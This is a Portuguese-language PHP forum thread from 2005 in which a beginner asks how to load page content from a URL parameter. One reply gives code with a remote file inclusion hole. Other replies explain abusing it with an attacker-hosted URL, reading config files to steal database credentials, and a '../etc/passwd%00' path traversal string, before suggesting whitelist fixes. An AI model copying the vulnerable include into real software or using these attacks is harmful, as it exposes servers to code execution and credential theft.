Logo Hardware.com.br
Mico
Mico Super Participante Registrado
1.4K Mensagens 0 Curtidas

Duvida de iniciante em PHP!!

#1 Por Mico 06/03/2005 - 17:10
Galera,

Assim, queria fazer o seguinte,
tenho uma página, divida em uma tabela de 3 linhas, em cima o menu, no meio o conteúdo da página e embaixo o rodapé,

o menu e o rodapé são genéricos para todas as paginas, então quero fazer o seguinte, criar uma página só, e o centro será exibido com um include e esse include pega as informações da url.

EXEMPLO

http://www.meusite.com/index.php?p=produtos

a página que é exibida no include no centro da página é a página produtos.php


Não sei se fui claro, mas se alguém puder me ajudar poste aí!!!

Vlw,

PS: Não entendo quase nada de php, tô começando a tentar fazer algumas coisas na cara e na coragem.

Mais uma vez vlw,

Mico
leon_adissi
leon_adissi Novo Membro Registrado
49 Mensagens 0 Curtidas
#2 Por leon_adissi
08/03/2005 - 05:14
acho q seria algo assim:

$pagina = $_GET["p"]
$pagina = $pagina . ".php"
include($pagina)
?>

Se der certo, dá um toque. Se num der, fuça q vc se acha !!! big_green.png
Server-->
PII 266 | 128 MRAM PC100 | HD 10 Gb | Speed 256 IP Fixo | Kurumin Linux 4.0 | Apache+MySql+PHP4 | Samba | Ftp | Cups | DHCP/DNS | On Line 24H
Client-->
Athlon 1.3 Gb-OverClocked | 256 MRAM DDR 333 | HD 10 Gb | WinXP SP2
Acquila
Acquila Super Participante Registrado
651 Mensagens 9 Curtidas
#4 Por Acquila
08/03/2005 - 18:07
Pra incluir uma página externa vc pode usar a diretiva 'require()'.

Como teste, crie um novo script php em seu servidor local com as linhas abaixo. Salve-o em seguida e execute-o, tendo o cuidado de estar conectado à internet:


<?php

require("http://www.google.com&quot;
require("http://www.altavista.com&quot;
require("http://www.linux.org&quot;

?>


Como resultado vc terá as três páginas acima em uma página só.

Em tempo: a diretiva "require()" deve ser inserida no ponto onde se deseja a visualização da página convocada.

[]!
Mico
Mico Super Participante Registrado
1.4K Mensagens 0 Curtidas
#5 Por Mico
08/03/2005 - 19:03
Acquila
Pra incluir uma página externa vc pode usar a diretiva 'require()'.

Como teste, crie um novo script php em seu ser...

não é bem isso que quero fazer, o que quero é que seja lida um variável colocada na url ex: ?p=teste fica como teste.php
Mico®
[email]vinifv@yahoo.com.br[/email]
icq 61925160
msn [email]bymico@hotmail.com[/email]
---------------------------------
COMPRO DURON OU ATHLON de 700 a 1400mhz FSB 100mhz
Kleber Costa
Kleber Costa General de Pijama Registrado
5.2K Mensagens 1 Curtida
#7 Por Kleber Costa
09/03/2005 - 17:24
É melhor vc mudar esse código :roll:
Dessa maneira eu posso executar, scripts php, remotamente no seu servidor! É só colocar:
http://mico.côm.br/arquivo.php?p=http://meuip/opa e tirar o suporte do php no meu apache :mrgreen:
Seu servidor web vai fazer "download" do meu opa.php e executá-lo. Os estragos podem ser pequenos como apagar o banco de dados, deletar todos os arquivos do seu site e coisas desse tipo hehe

Minha sugestão é vc usar o smarty. Caso vc não for muito com a "cara" do smarty, vc arruma o código acima tratando a variável p e excluindo essa idéia de "include automático".

t+
Salve! Ó terra dos altos coqueiros!
De belezas soberbo estendal!
Nova Roma dos bravos guerreiros
Pernambuco, imortal, imortal!


Linux User #262254
leon_adissi
leon_adissi Novo Membro Registrado
49 Mensagens 0 Curtidas
#8 Por leon_adissi
09/03/2005 - 18:40
Kleber Costa
É melhor vc mudar esse código :roll:
Dessa maneira eu posso executar, scripts php, remotamente no seu servidor! É ...


Mas pra poder apagar algo do banco de dados vc teria que ter o user e a senha do mesmo não ???
Server-->
PII 266 | 128 MRAM PC100 | HD 10 Gb | Speed 256 IP Fixo | Kurumin Linux 4.0 | Apache+MySql+PHP4 | Samba | Ftp | Cups | DHCP/DNS | On Line 24H
Client-->
Athlon 1.3 Gb-OverClocked | 256 MRAM DDR 333 | HD 10 Gb | WinXP SP2
Kleber Costa
Kleber Costa General de Pijama Registrado
5.2K Mensagens 1 Curtida
#9 Por Kleber Costa
09/03/2005 - 19:40
leon_adissi
Mas pra poder apagar algo do banco de dados vc teria que ter o user e a senha do mesmo não ???


É verdade! Mas conseguir a senha e o usuário é uma tarefa simples!!

Eu já fiz isso um monte de vezes... primeiro faz um código pra listar diretórios e arquivos, depois escolhe aqueles arquivos que são mais suspeitos(config.inc.php, mysql.php, conn.php, conexao.php, banco.php...) aí faz outro código pra ler e imprimir o conteúdo desse arquivo(config.inc.php, por exemplo) na tela. Aí é só anotar num papel a senha e o usuário!!

Permissão pra leitura é 100% de certeza que vc vai ter, já a permissão de escrita é mais difícil mas não impossível :wink:
Salve! Ó terra dos altos coqueiros!
De belezas soberbo estendal!
Nova Roma dos bravos guerreiros
Pernambuco, imortal, imortal!


Linux User #262254
Acquila
Acquila Super Participante Registrado
651 Mensagens 9 Curtidas
#13 Por Acquila
10/03/2005 - 13:15
leon_adissi
No caso, o que seria tratar a variavel p ???

Passar ela via post ???


Não. O parâmetro pode ser passado por $_GET mesmo, mas deve ser tratado inserindo o nome do servidor local na URL, como intuiu o próprio mico.

Seria algo assim mas há duzentas mil formas de se fazer isso. Varia de acordo com o gosto do freguês.



$serv=$_SERVER['SERVER_NAME'];
$p=$_GET['p'];
$url="http://".$serv."/".$p;



[]!
Kleber Costa
Kleber Costa General de Pijama Registrado
5.2K Mensagens 1 Curtida
#14 Por Kleber Costa
11/03/2005 - 07:11
Só pra enriquecer o tópico, vc poderia colocar as possibilidades(produtos, servicos, contato, programas) dentro de um array e quando receber a p, fazer uma busca dentro desse array. Se encontrar, inclui o array["opcao"]. Lembrar de tratar os erros! Se não encontrar, exibir uma mensagem tipo: url não encontrada! ou coisa parecida!
Salve! Ó terra dos altos coqueiros!
De belezas soberbo estendal!
Nova Roma dos bravos guerreiros
Pernambuco, imortal, imortal!


Linux User #262254
jqueiroz
jqueiroz Cyber Highlander Registrado
104K Mensagens 5.7K Curtidas
#15 Por jqueiroz
11/03/2005 - 16:40
Eu ia sugerir uma coisa parecida:

<?php

p = $_GET["p"];

cabecalho_tabela();

if( p == "produtos" ) {
require("produtos.php&quot;
} elsif ( p == "contatos" ) {
require("contatos.php&quot;
} elsif( p == "servicos" ) {
require( "servicos.php" );
} else {
require( "principal.php" );
}


Qdo se tem poucas opções, fica bem + simples do que montar o array. E não tem o risco de vc tentar abrir um nome de documento montado a partir de informação prestada pelo usuário.

PS: Pra quem acha bobagem, imagine se em vez de require(), que abre um URL, estivesse usando open() [que abre arquivos], e sem tratamento.

O resultado é que alguém poderia, com um mínimo de esforço, te enviar um URL assim:

http://seuservidor/programa.php?p=../../../../../../../../../../etc/passwd%00

E simplesmente pegar a tua base de nomes de usuários e senhas.
"chmod 777 nunca ajudou ninguém" (c) 2002-2021 JQueiroz/FGdH
Conheça o Blog do Zekke
© 1999-2024 Hardware.com.br. Todos os direitos reservados.
Imagem do Modal